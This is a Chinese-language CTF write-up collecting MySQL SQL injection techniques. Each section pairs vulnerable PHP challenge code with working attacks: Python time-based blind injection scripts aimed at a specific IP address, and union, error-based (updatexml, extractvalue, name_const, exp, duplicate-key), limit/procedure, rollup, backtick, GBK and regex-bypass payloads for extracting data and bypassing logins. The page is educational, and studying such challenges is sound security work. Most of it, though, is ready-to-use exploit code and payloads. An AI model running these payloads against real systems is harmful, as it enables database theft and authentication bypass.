CTF中的SQLi

0x01 http头xff的时间盲注

题目代码如下,从题目分析可以看到$ip是从xxf参数中获取的,并再使用explode函数处理后(注意在这里使用了,号作为分隔符,因而我们插入的sql语句中不能出现,号了),直接代入sql语句,因而是存在sql注入漏洞。因为关闭了报错,因而只能采用时间盲注的方式。

因为,号不能使用,所以就意味着limit 0,1不能使用,但是可以使用from 0 for 1进行代替;if判断在此处不能使用了,但是可以使用select case when(满足条件)then(语句1)else(语句2) end语句进行代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

数据库名的注入脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
flag = 1
for i in range(1,10):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3:
database = database + j
print('the '+str(i)+' place of database is '+j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('database:',database)

注入表名的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
table_name = ''
flag = 1
for i in range(1,20):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3 and t < 4:
table_name = table_name + j
print('the '+str(i)+' place of table_name is '+j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('table_name:',table_name)

注入得到列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
column_name = ''
flag = 1
for i in range(1,20):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3 and t < 4:
column_name = column_name + j
print('the '+str(i)+' place of table_name is '+j)
break
elif t < 3 and j == 'M':
flag = 0
break
if flag == 0 :
break
print('column_name:',column_name)

最终注入得到列中的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
flag = ''
f = 1
for i in range(1,30):
for j in allString:
header = {
"X-Forwarded-For":"1'+(select case when (ascii(substr((select flag from flag) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
}
r = requests.get(url,headers=header)
t = r.elapsed.total_seconds()
print('the time of '+j+' is '+str(t))
if t >= 3 and t < 4:
flag = flag + j
print('the '+str(i)+' place of table_name is '+j)
break
elif t < 3 and j == 'M':
f = 0
break
if f == 0 :
break
print('flag:',flag)

0x02 异或注入xor/^

xor与^的区别:前者是做逻辑运算 1 xor 0 会输出1 其他情况输出其他所有数据;后者是做位异或运算 如1^2=3 1^2=3

可以采用这种方式来判断目标站点过滤了什么关键字

1
2
3
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0 并回显 error

0x03 limit注入

在MySQL5.x版本中,后端采用如下形式进行SQL查询,此时注入点在order by语句后面无法使用union进行联合查询,因而需要另辟蹊径。

1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入点】

在此处我们可以使用procedure关键字调用ANALYSE存储过程来完成注入。利用姿势有以下几种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//1.报错注入
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1)));
ERROR 1105 (HY000): XPATH syntax error: ':5.5'
//2.时间盲注,注意此时不能使用sleep
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
//注:以上出现version()的地方都可以用想用的SQL语句替换

0x04 利用insert,update和delete注入获取数据

闭合形式:

1
2
3
4
5
6
7
' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "

利用方式:

  1. 利用updatexml()获取数据
  2. 利用extractvalue()获取数据
  3. 利用name_const()获取数据

    注意:

    如果显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。。

如果显示ERROR 1060 (42S21): Duplicate column name ‘2’,就可以进一步获取更多数据。

  1. 利用子查询注入

参考:利用insert,update和delete注入获取数据

0x05当update注入遇到关闭显错

注:此处提到的或逻辑运算对insert注入也是有效的

参考:

当update注入遇到关闭显错

在Update的注入中如果关闭了显错该怎么办

0x06 Mysql字符编码利用技巧

latin1编码不支持汉字,因而可以采用编码绕过

参考:
《Mysql字符编码利用技巧》

0x07 GBK Injection

单引号会被/注掉,可以用%df吃掉/封闭id

查询字段数

1
?id=-1%df' order by 2%23

果然两个,顺带查看其用户,库名和版本

1
?id=-1%df' union select 1,concat_ws(char(32,58,32),user(),database(),version())%23

注:

1
2
3
4
5
6
7
8
9
# concat_ws()第一个参数是分隔字符
# char(32,58,32)表示的是 ":" 号
MariaDB [(none)]> select concat_ws(char(32,58,32),'11','22','33');
+------------------------------------------+
| concat_ws(char(32,58,32),'11','22','33') |
+------------------------------------------+
| 11 : 22 : 33 |
+------------------------------------------+
1 row in set (0.00 sec)

库名sae-chinalover,再爆表

单引号会被/注掉,所以写sae-chinalover的16进制

1
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7361652d6368696e616c6f766572)%23

注:
group_concat()是将某个字段的所有值打印在一起,方便一行输出。

1
2
3
4
5
mysql> select group_concat(name) from aa;
+-------------------+
|group_concat(name) |
+-------------------+
|10,20,20|

有四个:ctf,ctf2,ctf3,ctf4,news,爆列名

1
?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7361652d6368696e616c6f766572 and table_name=0x63746634)%23

ctf4里有id,flag,flag应该就在这里

1
?id=-1%df' union select 1,(select group_concat(id,flag) from ctf4)%23

可以看到构造爆错后常规注入即可。

0x08 MD5加密后的SQLi

目标语句:

1
"select * from admin where password='".md5($pass,true)."'"

md5(string,raw)

string 必需。规定要计算的字符串。

raw 可选。规定十六进制或二进制输出格式:

• TRUE – 原始 16 字符二进制格式 <关键点>

• FALSE – 默认。32 十六进制数

注入思路:

字符串经md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串

构造payload目标:

1
select * from admin where password="or'xxx'

可用payload

1
2
3
4
5
6
7
8
9
10
11
content: 129581926211651571912466741651878684928
md5加密为: 06da5430449f8f6f23dfc1276f722738
作hex转字符串: ?T0D??o#??’or’8.N=?
content: ffifdyop
md5加密为: 276f722736c95d99e921722cf9ed621c
作hex转字符串: ‘or’6蒥欓!r,b

注:这个问题是在PHP中存在的

0x09 空格被过滤

空格过滤使用/*xxx*/进行绕过,

有时候关键词被过滤了可以使用双写绕过

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//为三个字段,接着查库
?id=1/*0*/order/*0*/by/*0*/3%23
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,concat_ws(char(32,58,32),user(),database(),version())%23
//查所有库
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(schema_name)/*0*/frfromom/*0*/information_schema.schemata%23
//查test的表
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(table_name)/*0*/frfromom/*0*/information_schema.tables/*0*/where/*0*/table_schema=0x74657374%23
//只有一个content,查列
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(column_name)/*0*/frfromom/*0*/information_schema.columns/*0*/where/*0*/table_schema=0x74657374/*0*/and/*0*/table_name=0x636f6e74656e74%23
//有id,context,title。最后直接查context
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,context/*0*/frfromom/*0*/content%23
//得到flag

0x10 ``符号问题

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

反引号是为了区分MySql的保留字段与普通字符而引入的符号

引号一般用在字段的值,如果字段值是字符或字符串,则要加引号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MariaDB [test]> select `flag` from flags;
+----------------------------------------+
| flag |
+----------------------------------------+
| flag{37316894c36cb32d2ca3f7d3add88024} |
+----------------------------------------+
1 row in set (0.00 sec)
MariaDB [test]> select 'flag' from flags;
+------+
| flag |
+------+
| flag |
+------+
1 row in set (0.00 sec)

payload:构造如下形式进行注入,*位置放入关键词

1
2
3
4
desc `***` `***`;
MariaDB [test]> desc `flags` `union select table_name from information_schema.tables`;
Empty set (0.00 sec)

1
2
3
4
5
http://test.com/?table=test` `union select table_name from information_schema.tables limit 1,1
http://test.com/?table=test` `union select column_name from information_schema.columns limit 1,1
http://test.com/?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1

0x11 rollup&&offset

limit 1 offset 2从第二条记录开始查询,读取1条记录(intrude fuzz 1和2这两个位置的参数)

rollup在group by 分组之后,再合计总数,可构造使得结果为null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
#$sql="SELECT * FROM interest WHERE uname = '' or 1=1 group by pwd with rollup limit 1 offset 2 #'";
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

获取flag需要满足mysql_num_rows($query) == 1$key['pwd'] == $_POST['pwd'],后者使用group by pwd with rollup在查询结果中加上一行,且pwd字段的值为NULL,以此绕过$key['pwd'] == $_POST['pwd']过滤,则使用limit # offset #来满足mysql_num_rows($query) == 1,fuzz出limit 1 offset 2

payload

1
' or 1=1 group by pwd with rollup limit 1 offset 2 #

test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MariaDB [test]> select text from article group by NULL with rollup limit 1 offset 2 ;
Empty set (0.00 sec)
MariaDB [test]> select * from article;
+---------+-----------------------------------------------------+
| id | text |
+---------+-----------------------------------------------------+
| 1 | guess what? |
| 3 | you can test it with sqli |
| 2 | dudulu |
| 4 | The choice of the stone gate of all dead destinies! |
| 5 | ??? ??? |
| 8848 | you want by a phone? |
| 9588 | you will be lucky |
| 1245123 | flag{37316894c36cb32d2ca3f7d3add88024} |
+---------+-----------------------------------------------------+
8 rows in set (0.00 sec)

0x12 注出可控数据绕过登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

利用user处的注入返回想要的pw

例如 qwe,76d80224611fc919a5d54f0ff9fba446

username值' union select '76d80224611fc919a5d54f0ff9fba446'#

password值qwe

提交获得flag

0x13 htmlentities实体化单引号情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#GOAL: get password from admin;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
$row = mysql_fetch_assoc($result);
echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";

htmlentities将单引号实体化了,所以可用\来将源单引号转义

构造

1
SELECT * FROM users WHERE name='\' AND pass=' or 1=1 limit 2,3#';

payload:

1
?username=\&password=%20or%201=1%20limit%202,3%23

0x14 报错注入 && /!00000select/ && ‘->\x27

示例题目属于二次注入,在删除功能处进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
include 'config.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
foreach($$key as $k => $v){
if(is_array($v)){
errorBox("hello,sangebaimao!");
}else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}
function filter($str){
$rstr = "";
for($i=0;$i<strlen($str);$i++){
if(ord($str[$i])>31 && ord($str[$i])<127){
$rstr = $rstr.$str[$i];
}
}
$rstr = str_replace('\'','',$rstr);
return $rstr;
}
if(!empty($message)){
if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
die("hello,sangebaimao!");
}
if(filter($message) !== $message){
die("hello,sangebaimao!");
}
$sql="insert guestbook(`message`) value('$message');";
mysql_query($sql);
$sql = "select * from guestbook order by id limit 0,5;";
$result = mysql_query($sql);
if($result){
while($row = mysql_fetch_array($result)){
$id = $row['id'];
$message = $row['message'];
echo "|$id|=>|$message|<br/>";
}
}
$message = stripcslashes($message);
$sql = "delete from guestbook where id=$id or message ='$message';";
if(!mysql_query($sql)){
//print(mysql_error());依据这句话看出可以使用报错注入
print(mysql_error());
$sql = "delete from guestbook where id=$id";
mysql_query($sql);
};
}
?>

sqli关键:需要绕过单引号和preg_match

因为stripcslashes函数,可以使用1\x27创造单引号

/*!00000select*/绕过preg_match

在mysql,00000这5位代表版本号,表示只有在大于该版本的mysql中不作为注释

1
2
3
4
5
6
7
MariaDB [test]> /*!00000select 'zeroyu'*/;
+--------+
| zeroyu |
+--------+
| zeroyu |
+--------+
1 row in set (0.00 sec)

注: concat(0x27,(/*!00000select version()*/))这个对于UpdateXML和ExtractValue而言会最先执行,但是它不是一个合格xml表达式,因而或造成报错。但要注意这两个报错的最大长度是32

1.利用updatexml报错

UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换

1
?message=1\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
1
2
MariaDB [(none)]> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~10.1.36-MariaDB~'

2.利用ExtractValue()报错

ExtractValue(xml_frag, xpath_expr) 得到xml_frag中被xpath_expr匹配到的值

1
?message=1\x27 and ExtractValue(0,concat(0x27,(/*!00000select version()*/)))%23;

3.name_const()

name_const(name,value)
返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。

本题利用的是表的字段名(列名)不允许重复,列名重复会报错,报错长度没有限制

payload

1
?message=aaa\x27%20and%20(/*!00000SELECT*/ * FROM(/*!00000SELECT*/(name_const(version(),1)),name_const(version(),1))a)%23

1
2
3
4
5
6
7
MariaDB [test]> select name_const('l','f');
+------+
| l |
+------+
| f |
+------+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
8
//此处的a是列别名,别名使用时是可以省略as的
MariaDB [test]> /*!00000SELECT*/(name_const(version(),1)),name_const(1,version())a;
+-----------------+-----------------+
| 10.1.30-MariaDB | a |
+-----------------+-----------------+
| 1 | 10.1.30-MariaDB |
+-----------------+-----------------+
1 row in set (0.00 sec)

4.exp

前提: mysql=<5.5.53时才可以使用,不然不会有返回结果的

比如我在5.6.x下进行测试就没有返回结果

1
2
MariaDB [(none)]> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select #)))'

如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的。

通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

1
?message=aaa\x27 and (/*!00000select exp(~(/*!00000select*/ * from (/*!00000select*/ version())a)))%23

参考:https://www.cnblogs.com/lcamry/articles/5509124.html

5.主键重复

concat+rand()+group_by()导致主键重复

。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:

1
2
MariaDB [test]> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '10.1.36-MariaDB1' for key 'group_key'

floor(rand(0)2)则会固定得到011011…的序列,在查询时floor(rand(0)2)会被计算5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。

6.几何函数

1
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行。

7.join报错爆字段

注:该方法在知道表名的情况下使用

1
2
3
select * from (select * from 表名 a join 表名 b) c)
在得到一个字段后,使用using得到下一个字段
select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段)) c

0x15 MySQL快速盲注小技巧

将字符串经过hex编码之后,再转成10进制数字,通过盲注获取具体的数字,然后再将它还原回去。

注意当数字过长是可以采用截取字符串的方式,八位八位的获取数据结果,公式:

1
select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);

参考:http://www.zhutougg.com/2018/02/23/mysqlkuai-su-mang-zhu-xiao-ji-qiao/

0x16 update注入

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');
$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);

关键点:

  1. update注入,且sql语句没有写在一行代码里面 => left join
  2. addslashes在单引号和双引号前加”\” => 出现单引号的地方用char函数代替
  3. 闭合`
  4. 除了table表以外不知道数据库的其他表了,或者根本就只有一个表,所以我就要用mysql的虚表dual

payload

1
?table=test` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select version()),0x7e)))) tt on tt.user=`t.username

参考:https://paper.seebug.org/216/

0x17 %00截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$db = mysqli_connect('localhost','web_brave','','web_brave');
$id = @$_GET['id'];
$key = $db->real_escape_string(@$_GET['key']);
if(preg_match('/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i', $id))
die('Attack Detected. Try harder: '. $_SERVER['REMOTE_ADDR']); // attack detected
$query = "SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '".$key."'";
$q = $db->query($query);
if($q->num_rows) {
echo '<h3>Users:</h3><ul>';
while($row = $q->fetch_array()) {
echo '<li>'.$row['name'].'</li>';
}
echo '</ul>';
} else {
die('<h3>Nop.</h3>');
}

过滤了好多但是”`”没有过滤,使用%00截断进行截断

payload

1
id=`id`;%00

0x18 绕正则

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_REQUEST['id'])){
if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
die("Attack detected!!!");
}
}
$sql = "select * from xxx where id = '{$_GET['id']}'";
echo $sql;
$result = sql_query($_GET['id']);
?>

这个题目绕正则没什么意思,主要是想再提一下$_REQUEST变量覆盖问题

数据加载的顺序:

1
Environment->Get->Post->Cookie->Server

payload

1
2
3
4
GET传参
?id=1' union select * from flag %23
同时POST传参
id=1

00.参考文章

ctf中sql注入下的一些小技巧

MYSQL报错注入的一点总结

sql注入入门 之 mysql 显错注入 [ floor()显错 ]

MySQL数据库的12种爆错注入